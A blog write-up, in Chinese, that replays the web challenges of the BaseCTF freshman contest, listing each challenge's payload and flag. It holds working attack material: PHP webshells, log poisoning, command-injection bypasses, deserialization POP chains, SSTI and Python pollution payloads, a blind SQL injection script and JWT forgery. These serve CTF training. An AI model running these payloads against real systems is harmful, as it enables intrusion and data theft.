BaseCTF高校联合新生赛web复现


喵喵喵´•ﻌ•`

题目描述:

1
小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习.....

开启环境

payload:

1
?DT=system('cat /flag');

最后flag为

1
BaseCTF{5708fc60-0031-4873-a16f-35399e3ea081}

md5绕过欸

题目描述:

1
绕哇绕哇绕

开启环境

payload1:数组绕过

1
2
?name[]=1&name2[]=1
post:password[]=2&password2[]=2

payload2:强比较

参数

1
2
3
4
5
6
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
0e215962017
1
2
?name=0e215962017&name2[]=1
post:password=s155964671a&password2[]=2

最后flag为

1
BaseCTF{03028513-cf0b-4cc2-885b-931d40ca5ca4}

HTTP 是什么呀

题目描述:

1
2
3
4
5
6
成为嘿客的第一步!当然是 HTTP 啦!
可以多使用搜索引擎搜索每个参数的含义以及传参方式

看看你是怎么到达最后一个页面的,中途是不是经过了什么?

这一串乱码是什么呀。等下,比赛好像叫做 BaseCTF?

方法一:hackbar一把梭

查看网络性能找到base编码

base解密得到flag

方法二: bp抓包

一样base解密得到flag

最后flag为

1
BaseCTF{6a7db524-1f6d-4f80-8b3e-2ccbb64854c4}

A Dark Room

题目描述:

1
文字游戏 玩得开心!

查看源码得到flag

最后flag为

1
BaseCTF{59cb1de1-8c08-40f3-9226-a2c38264ccbb}

upload

题目描述:

1
快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?

上传一句话木马

1
<?php eval($_POST[1]);

蚁剑连接

最后flag为

1
BaseCTF{922be5cb-d39d-40cd-9c04-e6772af91eda}

Aura 酱的礼物

题目描述:

1
2
3
4
5
6
7
8
9
你好呀, Aura 酱,这是给你的礼物哦~ 快打开看看里面是什么吧!

Aura 的博客似乎没有留言区?但是真的要去 Aura 的博客里面找吗?可以换个地方找吗?

哪里有感谢的一句话呢?远在天边,似乎就在眼前,就决定是他了吧!

为什么 Flag 是空的?不对劲,base64 一下再看看?

推荐搜索关键词: 伪协议,SSRF

开启环境

data伪协议先绕过

1
data://text/plain,Aura

传参博客链接到本地环境

1
challenge=http://jasmineaura.github.io@gz.imxbt.cn

php://filter 读文件源码

1
gift=php://filter/read=convert.base64-encode/resource=flag.php

base解密

最后flag为

1
BaseCTF{5d4810cb-9071-447f-a2f0-5c5b943f6205}

ez_ser

题目描述:

1
简单的反序列化入门,喵喵喵

开启环境

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class re{
public $chu0;
}

class web {
public $kw;
public $dt;
}

class pwn {
public $dusk = 'gods';
public $over;
}

class Misc {
public $nothing;
public $flag;
}

class Crypto {
}

$r = new re();
$w = new web();
$p = new pwn();
$m = new Misc();
$c = new Crypto();
$p->over = $m;
$r->chu0 = $p;
$w->kw = $r;

echo serialize($w);
#O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

最后flag为

1
BaseCTF{0544a803-9f2a-4ac4-8109-e105021b08b7}

一起吃豆豆

题目描述:

1
大家都爱玩的JS小游戏

在index.js里找到base编码

base解密

最后flag为

1
BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}

你听不到我的声音

题目描述:

1
我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

开启环境

shell_exec 无回显的命令执行函数

payload:

1
cmd=cat /flag > output.txt

访问output.txt得到flag

最后flag为

1
BaseCTF{9324bd03-9389-4a37-812b-c35a9ff7e9a0}

RCEisamazingwithspace

题目描述:

1
RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace

开启环境

空格绕过

1
cmd=cat$IFS$9/flag

最后flag为

1
BaseCTF{ebe65d74-420b-445b-a103-553ea9c18f73}

所以你说你懂 MD5?

题目描述:

1
2
3
所以你说你懂 MD5?

可以了解一下 MD5 长度拓展攻击

开启环境

第一关数组绕过

1
apple[]=1&banana[]=2

第二关md5弱比较

1
appple=s1885207154a&bananana=s1836677006a

第三关md5强碰撞

1
apppple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&banananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

第四关哈希长度拓展攻击

1
2
3
4
5
6
random_bytes(16) 生成 16 字节的随机二进制数据。
bin2hex() 将这些二进制数据转换为等效的十六进制字符串,每个字节转换为两个字符。
因此:
bin2hex(random_bytes(16)) 会生成 32 个字符的十六进制字符串(16 字节 × 2)。
代码中一共调用了三次 bin2hex(random_bytes(16))
总长度为:32 字符 × 3 = 96 字符。

payload:

1
name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=e27fa1cb1ad4314158e18f2d08a0707f

最后flag为

1
BaseCTF{6f70792b-edab-4a35-853a-b530d50ef1cd}

Really EZ POP

题目描述:

1
2
3
4
5
你已经学会反序列化了,接下来尝试手动构造 POP 链吧!

请注意 PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性

!!不要使用!! FireFox 的 Hackbar 发送 Payload, 可能你输入是正确的, 但是没有回显

开启环境

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
// highlight_file(__FILE__);

class Sink
{
private $cmd = 'system("cat /flag");';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';

public function setWord($word)
{
$this->word = $word;
}

public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

$nature = new Nature();
$sea = new Sea();
$sink = new Sink();
$shark = new Shark();

$sea->animal = $shark;
$nature->sea = $sea;

$shark->setWord($sink);
echo urlencode(serialize($nature));

// O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D%7D%7D%7D

?>

传参

最后flag为

1
BaseCTF{0e32b71b-ced7-40d4-a2bf-a5d3934e398b}

数学大师

题目描述:

1
2
3
4
5
Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

本题依赖 session,请在请求时开启 session cookie

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests
import re
import time

# 创建会话
req = requests.Session()
url = "http://gz.imxbt.cn:20088/"

# 初始GET请求获取第一题
response = req.get(url)
html = response.text
print("初始页面:", html)

# 尝试50次解题
for i in range(50):
print(f"\n=== 正在解答第 {i+1} 题 ===")

# 提取数学表达式
expression_match = re.search(r'(\d+)\s*([+\-×÷])\s*(\d+)\s*[\?=]', html)
if not expression_match:
print("未找到数学表达式,页面内容:")
print(html)
break

num1 = int(expression_match.group(1))
operator = expression_match.group(2)
num2 = int(expression_match.group(3))

print(f"提取到表达式: {num1} {operator} {num2}")

# 计算结果(除法使用整数除法)
if operator == "+":
answer = num1 + num2
elif operator == "-":
answer = num1 - num2
elif operator == "×":
answer = num1 * num2
elif operator == "÷":
answer = num1 // num2 # 整数除法
else:
print(f"未知运算符: {operator}")
break

print(f"计算结果: {answer}")

# 提交答案
start_time = time.time()
response = req.post(url, data={"answer": answer})
html = response.text
response_time = time.time() - start_time

print(f"响应时间: {response_time:.2f}秒")

# 检查是否完成
if "BaseCTF" in html:
print("\n=== 找到Flag! ===")
print(html)
break

# 确保不超过5秒限制
if response_time > 4.5:
print("警告:接近时间限制!")
time.sleep(0.1) # 稍微暂停以防超时

print("程序结束")

运行得到

最后flag为

1
BaseCTF{4e5a0622-8df3-41ab-b294-ecc8698fb1c8}

复读机

题目描述:

1
一位复读机发明了一个复读机来复读flag

ssti

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%}

最后flag为

1
BaseCTF{d89c0d35-cc03-4b32-9d60-d90f356074a7}

滤个不停

题目描述:

1
过滤这么多还怎么玩!等等....不对劲

开启环境

文件包含

payload:

1
2
3
User-Agent:<?php eval($_GET[1]);?>
POST:Datch=/var/log/nginx/access.log&incompetent=HelloWorld
GET:?1=system('tac /flag');

最后flag为

1
BaseCTF{0ed7f7c0-eb1c-47e3-a326-2bf57d718c7f}

玩原神玩的

题目描述:

1
flag怎么被分解成$array了,不管了,原神,启动!

开启环境

爆破array数组长度

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://gz.imxbt.cn:20119/"
max_len = 100

for len_size in range(1, max_len + 1):

data = {}
for i in range(len_size):
data[f'len[{i}]'] = 'fffffilm'
print(data)
response = requests.post(url, data=data)
print(f"尝试长度: {len_size}, 服务器响应: {response.text}")

运行得到

得到长度45

生成POST数组

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$len_size = 45;
$query_string = '';
for ($i = 1; $i <= $len_size; $i++) {
$query_string .= "len[$i]=1";
if ($i < $len_size) {
$query_string .= '&';
}
}
echo $query_string;
?>
#len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1&len[45]=1

传参

exp:

1
2
3
4
5
6
7
8
9
10
11
import requests

url = ("http://gz.imxbt.cn:20119/?tip=我要玩原神")

headers={

"Content-Type": "application/x-www-form-urlencoded"
}
data='len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1&len[45]=1&len[3]=2&m[0]=100%&m[1]=love100%2530bd7ce7de206924302499f197c7a966'
response = requests.post(url, data=data,headers=headers)
print(response.text)

import hashlib
def reverse_md5_hashes(flags):
array=[]
for ii,flag in enumerate(flags):
for i in range(256):
if hashlib.md5(str(i).encode()).hexdigest()==flag:
array.append(chr(i^ii))
break
return ‘’.join(array)
flags=[“3295c76acbf4caaed33c36b1b5fc2cb1”,”26657d5ff9020d2abefe558796b99584”,”73278a4a86960eeb576a8fd4c9ec6997”,”ec8956637a99787bd197eacd77acce5e”,”e2c420d928d4bf8ce0ff2ec19b371514”,”43ec517d68b6edd3015b3edc9a11367b”,”ea5d2f1c4608232e07d3aa3d998e5135”,”c8ffe9a587b126f152ed3d89a146b445”,”5f93f983524def3dca464469d2cf9f3e”,”9f61408e3afb633e50cdf1b20de6f466”,”66f041e16a60928b05a7e228a89c3799”,”03afdbd66e7929b125f8597834fa83a4”,”698d51a19d8a121ce581499d7b701668”,”7f39f8317fbdb1988ef4c628eba02591”,”44f683a84163b3523afe57c2e008bc8c”,”9f61408e3afb633e50cdf1b20de6f466”,”7f39f8317fbdb1988ef4c628eba02591”,”7f6ffaa6bb0b408017b62254211691b5”,”a5bfc9e07964f8dddeb95fc584cd965d”,”73278a4a86960eeb576a8fd4c9ec6997”,”e369853df766fa44e1ed0ff613f563bd”,”9f61408e3afb633e50cdf1b20de6f466”,”e369853df766fa44e1ed0ff613f563bd”,”19ca14e7ea6328a42e0eb13d585e4c22”,”3416a75f4cea9109507cacd8e2f2aefc”,”202cb962ac59075b964b07152d234b70”,”b53b3a3d6ab90ce0268229151c9bde11”,”4c56ff4ce4aaf9573aa5dff913df997a”,”67c6a1e7ce56d3d6fa748ab6d9af3fd7”,”d645920e395fedad7bbbed0eca3fe2e0”,”202cb962ac59075b964b07152d234b70”,”c0c7c76d30bd3dcaefc96f40275bdc0a”,”37693cfc748049e45d87b8c7d8b9aacd”,”3295c76acbf4caaed33c36b1b5fc2cb1”,”735b90b4568125ed6c3f678819b6e058”,”4e732ced3463d06de0ca9a15b6153677”,”6ea9ab1baa0efb9e19094440c317e21b”,”c74d97b01eae257e44aa9d5bade97baf”,”3295c76acbf4caaed33c36b1b5fc2cb1”,”70efdf2ec9b086079795c442636b55fb”,”fbd7939d674997cdb4692d34de8633c4”,”8e296a067a37563370ded05f5a3bf3ec”,”02e74f10e0327ad868d138f2b4fdd6f0”,”ad61ab143223efbc24c7d2583be69251”,”43ec517d68b6edd3015b3edc9a11367b”]
original_array=reverse_md5_hashes(flags)
print(original_array)

最后flag为

1
BaseCTF{4d508175-3f9e-412e-b285-03f853182861}

ez_php_jail

题目描述:

1
DT最怕坐牢了...但是包吃包住啊!

开启环境

payload:

1
?Jail[by.Happy=highlight_file(glob("/f*")[0]);

最后flag为

1
BaseCTF{b64f1a41-e3ee-4091-8536-3470b3fb60ad}

圣钥之战1.0

题目描述:

1
J1ngHong大魔王不会让你污染圣钥的!

访问read路由拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)

python原型链污染

1
{"__init__" : {"__globals__" : {"__file__":"/flag"}}}

然后再去访问/read就有flag了

最后flag为

1
BaseCTF{7ce54c4d-c4f1-4ea9-8b86-eb0528b43a4c}

flag直接读取不就行了?

题目描述:

1
你应该能找到flag吧?

开启环境

payload:

1
2
GET:?K=DirectoryIterator&W=/secret
POST:J=SplFileObject&H=/secret/f11444g.php

base解密

最后flag为

1
BaseCTF{e74eee84-c0c6-47be-acd0-9b4fda3edef7}

only one sql

题目描述:

1
2
3
4
只可以一句哦
使用BaseCTF{}格式

既然没有select无法直接查看flag,有没有其他方式来推断flag呢,比如布尔,比如时间?

sql时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import string

sqlstr = string.ascii_lowercase + string.digits + '-' + "{}"
url = "http://gz.imxbt.cn:20124/?sql=delete%20from%20flag%20where%20data%20like%20%27"
end="%25%27%20and%20sleep(5)"
flag=''
for i in range(1, 100):
for c in sqlstr:
payload = url +flag+ c + end
try:
r = requests.get(payload,timeout=4)
except:
print(flag+c)
flag+=c
break

运行得到

最后flag为

1
BaseCTF{f8108a61-bbfe-4068-b47f-4449e7b5ed22}

No JWT

题目描述:

1
没有 JWT!

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')

# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')

if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403

except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
app.run(debug=True)

环境有问题复现不了,说一下思路

先在/login路由下登录拿token,然后去将token解码(在线网站:jwt在线解密/加密 - JSON中文网),将role对应的值改为admin后再加密,接下来进行bp抓包,加一个Authorization头以及修改后的token

Jinja Mark

题目描述:

1
ssti注入只会用带花括号的payload?逊诶

/magic路由下可以进行原型链污染

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import json

# 目标URL
url = "http://gz.imxbt.cn:20127/magic"

# 构造包含特殊键的 JSON 数据
payload = {
"__class__":{
"__init__":{
"__globals__":{
"BLACKLIST_IN_index" : []
}
}
}
}

# 将 JSON 数据转换为字符串
payload_json = json.dumps(payload)
print(payload_json)

# 发送 POST 请求
response = requests.post(url, data=payload_json, headers={'Content-Type': 'application/json'})

# 打印响应内容
print("Status Code:", response.status_code)
print("Response Content:", response.text)

运行得到

在index路由进行模版注入了

1
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

最后flag为

1
BaseCTF{22611811-e205-4f85-b2a4-28a1a2d287ab}

1z_php

题目描述:

1
php没有难题(Kengwang和晨曦出的除外)

开启环境

exp:

1
2
3
import requests
res = requests.post("http://gz.imxbt.cn:20128/index.php?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString",data = {"try":"-"*1000001+"HACKER"})
print(res.text)

base解密

最后flag为

1
BaseCTF{88b634bb-2b1a-4800-8325-a3c3893d9ad5}

Lucky Number

题目描述:

1
原型链污染的大手可以伸很长的哦

原型污染链

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"__init__": {
"__globals__": {
"json":{
"__spec__":{
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
"heaven" : {
"create" : {
"__kwdefaults__" : {
"confirm" : true,
"lucky_number" : "5346"
}
}
}
}
}
}
}
}
}
}
}
}

/ssSstTti1 进行无过滤的ssti注入

最后flag为

1
BaseCTF{221554ca-cc3b-4e08-a620-68a89f96bb46}

Back to the future

gakki429/Git_Extract一把梭


文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录